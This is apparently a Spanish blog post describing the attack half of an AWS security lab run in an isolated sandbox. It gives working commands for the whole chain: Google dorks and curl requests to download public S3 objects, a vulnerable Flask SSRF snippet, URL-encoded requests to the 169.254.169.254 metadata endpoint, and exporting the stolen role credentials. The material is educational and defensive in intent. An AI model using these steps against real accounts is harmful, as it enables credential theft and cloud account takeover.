
El Puzzle de AWS: ¿A poco con un simple curl se puede comprometer una cuenta? (Parte 1: El Ataque)
AWS es como un rompecabezas: cada servicio parece inofensivo por separado, pero si dejas piezas flojas, encajan solas para abrir una brecha. En esta primera entrega te comparto lo que descubrí en mi laboratorio: cómo descuidos cotidianos en S3, una app web y el servicio de metadatos se alinean frente a un simple comando curl, demostrando que entender los fundamentos de la nube vale más que cualquier herramienta compleja.
Series: El Puzzle de Descuidos en AWS (Nivel 100: Fundamentos) (2 articles)
- 1El Puzzle de AWS: ¿A poco con un simple curl se puede comprometer una cuenta? (Parte 1: El Ataque) This article
¿A poco con un simple comando se puede romper la seguridad?
Hace unas semanas el AWS User Group Minatitlán me invitó a dar una charla sobre seguridad en la nube. Siempre solemos escuchar la misma teoría defensiva: "debes cerrar este puerto", "no abras este bucket", "sigue las buenas prácticas".
Pero quise romper esa inercia, ponerme del otro lado y responder una pregunta muy simple:
¿Hasta dónde se puede llegar en tu cuenta de AWS si alguien, con apenas los conceptos básicos de seguridad de Cloud Practitioner, empieza a probar comandos sencillos de terminal?
La premisa del experimento fue muy clara: cero herramientas complejas de hacking ni exploits de película. Quería demostrar si utilizando únicamente los fundamentos elementales de AWS Cloud Practitioner (S3, EC2, IAM y el servicio de metadatos) y peticiones sencillas con
curl, una cuenta real puede quedar comprometida cuando se alinean pequeños descuidos cotidianos.Porque en la nube, el problema casi nunca llega por un ataque sofisticado: ocurre por un rompecabezas de pequeños descuidos que dejamos pasar en el día a día.
Parte 1 de 3: En la transmisión en vivo recorrimos el laboratorio completo, pero escribir todo de una sola vez habría resultado en un artículo demasiado largo. Por eso decidí estructurarlo en una serie de 3 entregas: hoy arrancamos con la perspectiva del atacante (Red Team), continuaremos con la defensa operativa y auditoría (Blue Team), y finalmente cerraremos con la seguridad en aplicaciones web.
El Despliegue: Todo en una Cuenta Real y Aislada
Para que la experiencia fuera 100% auténtica y no un simulador sintético (donde muchas veces se pierde el comportamiento real de los metadatos y la propagación de políticas IAM), el laboratorio se ejecutó en AWS real.
Pero aquí viene la primera lección práctica de gobernanza y seguridad: ¿cómo presentar un laboratorio en vivo sin exponer clientes ni cuentas de trabajo en pantalla?
En lugar de usar cuentas sueltas o mezclar entornos, aproveché la estructura de mi AWS Organization: creé una cuenta miembro completamente aislada (Workshops / Sandbox). A través de AWS IAM Identity Center (AWS SSO) con MFA obligatorio, configuré un usuario exclusivo que únicamente tenía visibilidad y permisos sobre esa cuenta de workshops mediante el rol
LabRedTeamAccess.De esta forma, durante la transmisión en vivo nadie en la audiencia podía ver las demás cuentas de la organización, conteniendo el radio de impacto (blast radius) al 100% y manteniendo los costos al mínimo (usando solo una modesta instancia
t2.micro):
Aislamiento de entornos: inicio de sesión seguro con MFA y rol temporal exclusivo para el taller.
¿Por qué no usamos Código como Infraestructura?
Durante la sesión compartí una decisión deliberada de diseño: no utilicé herramientas externas como Terraform.
¿La razón? Practicidad y accesibilidad. Si alguien está empezando en AWS o preparándose para el AWS Cloud Practitioner, exigirle que instale herramientas de terceros o configure estados remotos añade una barrera innecesaria que distrae del objetivo central: entender la arquitectura y la seguridad en la nube.
Por eso decidí empaquetar todo el laboratorio en un asistente interactivo en Bash (
./redteam). Quien clone el proyecto solo tiene que ejecutar el script y presionar la opción 1. Por detrás, el script manda a llamar de forma nativa a AWS CloudFormation (infra/cloudformation.yaml), levantando en menos de 3 minutos la VPC, la subred pública, el bucket de S3 vulnerable y la instancia EC2:
Despliegue en 3 minutos: infraestructura declarativa nativa ejecutada mediante el asistente redteam.
Aquí comienza el recorrido. Analicemos cómo se fue armando el puzzle.
Pieza 1: La Falsa Seguridad en Amazon S3 ("Si no pueden listar, no pasa nada")
Algunas organizaciones cometen el error de dejar configuraciones expuestas debido a malas prácticas, como mantener deshabilitado el bloqueo de acceso público en S3 o usar políticas demasiado permisivas que permiten listar y descargar archivos
(s3:GetObject). Esto deja información sensible expuesta al alcance de cualquiera en internet, como facturas CFDI del SAT o respaldos de bases de datos .sql.¿Cómo llega alguien de fuera a toparse con esto?
Muchas veces ni siquiera se trata de un ataque dirigido ni de un grupo organizado. Puede ser simplemente alguien curioso que en su tarde libre se pone a explorar en Google con búsquedas sencillas (Google Dorking) para ver qué archivos quedaron indexados públicamente:
1
2
3
site:s3.amazonaws.com "factura" ext:xml
site:s3.amazonaws.com "backup" ext:sql
site:s3.amazonaws.com "RFC" ext:pdfO alguien que por pura curiosidad corre una herramienta como
s3scanner pasándole una lista de palabras comunes (wordlist_s3_mexico.txt) para ver qué nombres de buckets existen.Si esa persona intenta listar el contenido con el AWS CLI:
1
aws s3 ls s3://lab-red-team-public-data-xxxx --no-sign-requestAWS responde con un rotundo Acceso Denegado (
Access Denied). Y aquí es donde muchos administradores se confían: "Si nadie puede listar mis carpetas, mis datos están seguros".El error: La política tenía
s3:GetObject abierto. Si alguien conoce o intuye la ruta típica de un archivo (/facturas/ o /backups/), una simple petición con curl se descarga la información de inmediato sin pedir ninguna credencial:1
2
curl -s https://<nombre-bucket>.s3.amazonaws.com/facturas/factura_sat_ejemplo.xml
curl -s https://<nombre-bucket>.s3.amazonaws.com/backups/backup_db_clientes.sql
Si s3:GetObject está abierto, no poder listar carpetas no previene la descarga directa conociendo la ruta.
Para la demostración en vivo cargué ejemplos representativos de lo que suele fugarse en incidentes reales: facturas fiscales simuladas, un respaldo
.sql ficticio (sin exponer jamás datos reales de clientes) y, como detalle para compartir con la comunidad, la Guía Oficial de Becas y Oportunidades de AWS 2026 con más de 20 iniciativas gratuitas.Basta con conocer la ruta del objeto para que una simple llamada HTTP se lo lleve. Si la política permite
s3:GetObject anónimo, la supuesta privacidad del bucket es solo una ilusión.Pieza 2: La App Web sin Validar (SSRF en Código)
En nuestro servidor EC2 tenemos una sencilla aplicación en Python/Flask (
app.py) para previsualizar enlaces web, donde la función toma el parámetro del usuario y realiza una petición directa sin sanitizar la entrada:1
2
3
4
5
6
7
def preview():
target = request.args.get('url')
if target:
res = requests.get(target, timeout=3)
return res.text
return render_template('index.html')El desarrollador pensó: "El usuario va a poner
Pero, ¿qué pasa si el usuario ingresa una dirección de la propia red interna? Eso es Server-Side Request Forgery (SSRF): obligar al servidor a hacer peticiones HTTP en tu nombre hacia destinos que desde Internet jamás podrías alcanzar.
http://google.com para probar la conexión".Pero, ¿qué pasa si el usuario ingresa una dirección de la propia red interna? Eso es Server-Side Request Forgery (SSRF): obligar al servidor a hacer peticiones HTTP en tu nombre hacia destinos que desde Internet jamás podrías alcanzar.
La historia del mesero servicial y el gafete de administración:
Para explicarle este concepto a la audiencia de forma sencilla, les planteé esta situación cotidiana:
Imagina que estás sentado como cliente en un restaurante. Desde tu mesa, tú no puedes entrar a la oficina del gerente: la puerta está cerrada con llave y si intentas meterte, seguridad te detiene de inmediato.
Pero, ¿quién sí puede entrar libremente a esa oficina? El mesero. Él tiene el gafete de empleado y la puerta se le abre sin preguntas.
Ahora imagina que llamas al mesero y le dices: "Oye, amigo, ve a la oficina de administración y tráeme los reportes fiscales del SAT del último año y las llaves de acceso".
Y el mesero, como fue programado para acatar amablemente cualquier orden sin validar quién la pide ni por qué, simplemente dice: "Con gusto". Camina a la oficina interna usando su propio gafete legítimo, toma los documentos confidenciales y te los entrega tranquilamente en tu mesa.En la nube ocurre exactamente lo mismo: desde tu casa en Internet tú no puedes hacerle una petición directa a la IP interna de metadatos de AWS (169.254.169.254). Pero le pides al servidor web vulnerable (el mesero) que vaya por ti. Y el servidor, que sí tiene permisos asignados mediante su Rol de IAM (su gafete), consulta los metadatos internos, extrae las llaves de la cuenta y te entrega las credenciales directamente en la pantalla de tu navegador.
Pieza 3: La IP Mágica 169.254.169.254 y la Sopa de Caracteres en la URL
En AWS, cada máquina virtual EC2 tiene un canal directo con su servicio de metadatos (IMDS) a través de la dirección IP de enlace local (link-local, RFC 3927)
169.254.169.254. Esta IP no existe en Internet; está reservada y solo responde a quien le hable directamente desde la interfaz de red interna del propio servidor.Si la instancia tiene configurado IMDSv1 (que venía habilitado por omisión si no lo restringes al crear la máquina), cualquier petición HTTP
GET estándar le saca información a esa IP sin pedir contraseñas ni tokens.¿Por qué se ven caracteres como %3A%2F%2F en la petición?
Si observas la barra de direcciones o la consola, la consulta viaja con una combinación peculiar:
http://<IP-EC2>/?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F...¿Por qué esa mezcla? Se llama URL-Encoding (Percent-Encoding):
%3Arepresenta los dos puntos (:).%2Frepresenta la diagonal o slash (/).
Cuando una aplicación recibe una URL completa como parámetro dentro de otra URL (
?url=...), caracteres como :, / o ? tienen funciones estructurales en HTTP. Si los envías sin codificar, el servidor web receptor interpreta las diagonales como rutas de su propio sitio y la petición falla con un error 400 Bad Request. Codificarlos asegura que toda la dirección interna viaje íntegra hacia el backend.Del navegador a la consola: "¿A poco así de fácil?"
Al ver la interfaz web, muchos dirán: ¿A poco así de fácil es hackear un servidor?. En el navegador todo parece trivial porque solo ves una cajita de texto donde pegas una dirección y presionas un botón.
Pero en la terminal la historia requiere entender el protocolo: hay que lidiar con el entrecomillado en Bash para que el shell no interprete el signo
? como comodín, enviar la codificación adecuada y procesar las respuestas en texto plano:1. Descubrir qué rol de IAM tiene asignado el servidor:
1
curl -s "http://<IP-PUBLICA-EC2>/?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F"El servidor backend procesa la petición y contesta el nombre del rol:
lab-red-team-ec2-role.2. Solicitar las credenciales temporales de sesión:
Con el nombre del rol identificado, se hace la segunda petición apuntando a ese endpoint:
Con el nombre del rol identificado, se hace la segunda petición apuntando a ese endpoint:
1
curl -s "http://<IP-PUBLICA-EC2>/?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2Flab-red-team-ec2-role"El servidor web consulta a la IP de enlace local y devuelve el documento JSON generado por AWS Security Token Service (STS):
AccessKeyId: Llave temporal (prefijoASIA...).SecretAccessKey: Llave secreta de firma criptográfica.Token: Token de sesión efímero (~800 bytes en Base64).Expiration: Fecha y hora UTC en que las credenciales caducan (típicamente 6 horas).

Pivote SSRF: el servidor web consulta los metadatos internos y entrega las llaves de sesión del rol asociado.
Pieza 4: El Rol con Permisos de Administrador (La Escalada)
Hasta aquí, el atacante solo tiene llaves temporales de una máquina virtual. ¿Por qué esto se convierte en una catástrofe?
Porque muchas veces, durante el desarrollo o la prisa por salir a producción, a la instancia EC2 le asignan un rol con permisos amplios (
AdministratorAccess o políticas con "Action": "*" y "Resource": "*"): "para que la aplicación no marque errores de permisos".El atacante exporta esas tres variables en su propia laptop:
1
2
3
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."Y ejecuta en su terminal local:
1
aws sts get-caller-identityEn ese segundo ocurrió la escalada vertical de privilegios: el atacante ya no es un usuario anónimo en una página web. Ahora tiene la identidad de un rol con privilegios en la cuenta de AWS. Puede listar buckets privados, explorar otras instancias, alterar bases de datos o crear infraestructura:

Escalada vertical de privilegios: las credenciales robadas otorgan acceso de administrador a recursos privados.
El Rompecabezas del Ataque
Si observas la cadena completa, ningún paso requirió un exploit de otro planeta:
- Un bucket con Block Public Access desactivado.
- Un campo en una app web sin validar (SSRF).
- Una instancia con IMDSv1 activo (
169.254.169.254). - Un rol de IAM con privilegios de administrador.
AWS es como un gran rompecabezas (puzzle): cada servicio (EC2, IAM, S3) es una pieza independiente. Podemos construir arquitecturas increíbles combinándolas, pero si dejamos una pieza suelta, un rol con
*, un bucket abierto, un metadato desprotegido, todo el conjunto se vuelve vulnerable.Y lo más revelador: basta con los conceptos del temario del AWS Cloud Practitioner para entender cómo se compromete una cuenta. No se necesita magia: solo entender cómo interactúa cada componente.
Preguntas para Llevarte a Casa
Para cerrar esta primera entrega, te dejo las mismas preguntas de reflexión que compartí con la comunidad:
- ¿Sabías que con un simple
curly la IP mágica169.254.169.254se podían extraer las llaves temporales de tu servidor? - ¿Cuántas veces has visto en desarrollo que asignan permisos de Administrador a un rol de EC2 "para que la aplicación no marque errores"?
- ¿Tienes identificados qué buckets de tu cuenta permiten acceso público y si alguien podría adivinar las rutas de tus respaldos?
¿Has experimentado o presenciado este tipo de descuidos en tus proyectos? Me encantaría leer tu perspectiva y tus anécdotas en los comentarios.
¿Y ahora cómo defendemos esto? (El Puente a la Parte 2)
En la Parte 2 de esta serie nos pondremos el sombrero de Blue Team y Auditoría:
- ¿Por qué sanitizar la app web no es suficiente y cómo blindar la infraestructura con IMDSv2?
- El dilema en producción: ¿por qué no todas las empresas pueden forzar IMDSv2 de inmediato por culpa de SDKs antiguos y cómo gestionar ese riesgo?
- Por qué el puerto 22 (SSH) debe morir en favor de AWS Systems Manager (SSM).
- La gran trampa de CloudTrail: por qué tus descargas de S3 no se están auditando por defecto.
- Cómo desplegar y destruir todo el laboratorio por $0 USD.
Los inconvenientes que tuve al publicar este artículo
Para ser honesto: este post me tomó mucho más tiempo de lo que pensé.
La razón principal no fue armar el código ni levantar la infraestructura en AWS, sino que el sistema automatizado de moderación de AWS Builder Center me censuró e invalidó casi todas las capturas de pantalla originales que tomé.
Entre filtros de Amazon Rekognition que detectaban como contenido inapropiado elementos de fondo de pantalla en mi terminal, hasta reglas automáticas que bloqueaban imágenes por mostrar nombres literales de parámetros de llaves (
AccessKeyId, SecretAccessKey) o peticiones directas a la IP de metadatos, fue una verdadera travesía de auditoría sobre mis propias evidencias.Pero bueno, son cosas de documentar públicamente temas de seguridad, supongo..., ya que es mi primer artículo técnico de seguridad.
- Repositorio del Laboratorio: Siegfried-FS/lab-red-team
- Charla en vivo:
Grabación de la demostración en vivo organizada por el AWS User Group Minatitlán.
(Anécdota de la sesión: Pensé que el taller duraría hora y media, pero durante la transmisión de repente vi un mensaje en el chat que decía: "Te quedan 15 minutos". ¡imagínense la adrenalina que senti! Tuve que meter un poco acelerador y sintetizar el cierre en ese momento. Lo bueno de haber construido y probado el laboratorio es sabia exactamente que era lo mas importante de mencionar en ese tiempo).
#content-creators-latam #AWS #Seguridad #Comunidad #RedTeam
Series: El Puzzle de Descuidos en AWS (Nivel 100: Fundamentos) (2 articles)
- 1El Puzzle de AWS: ¿A poco con un simple curl se puede comprometer una cuenta? (Parte 1: El Ataque) This article
Enjoyed reading this content? Let the author know!
Your likes, comments, shares, and saves help creators reach more builders.
Loading recommendations
Loading article